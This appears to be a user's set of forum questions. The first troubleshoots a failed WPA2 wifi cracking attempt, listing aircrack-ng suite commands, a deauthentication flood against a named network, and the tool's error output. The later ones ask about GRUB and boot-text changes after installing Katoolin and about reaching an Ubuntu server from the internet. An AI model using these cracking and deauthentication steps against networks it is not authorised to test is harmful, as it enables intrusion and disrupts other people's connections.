Silent-B's questions

I try to hack WPA2 wifi so this is what i do:

airmon-ng start wlan0
airodump-ng wlan0mon
airodump-ng --bssid (bssid) -c (channel) --write wpa2 wlan0mon
aireplay-ng --deauth 100 -a (bssid) wlan0mon

but when i try the aircrack-ng wpa2.cap -w passlist.txt it does`t work and this is the error:

Opening WPA2-01.cap Read 12126 packets.

# BSSID ESSID Encryption

1 BC:F6:85:DE:2A:A5 Dr.laban No data - WEP or WPA

Choosing first network as target.

Opening WPA2-01.cap Got no data packets from target network!

Quitting aircrack-ng...

i also try service network-manager stop and airmon-ng check kill but it does`t work.

I installed Katoolin on Ubuntu server. After apt upgrade it changes some text and images like GRUB background image which is now similar to Kali Linux image. Also, also while booting up it says "kali GNU/linux rolling".

So I have two questions:

1. How to change the background image of GRUB menu?

2. How to change the start up text?

I found this page on AskUbuntu but the tips mentioned there don't work in my case.

How can I set an IP that I can have access to my server around the world with the Internet I mean something like global IP (maybe!)?

I just want to know how to do that in Ubuntu server.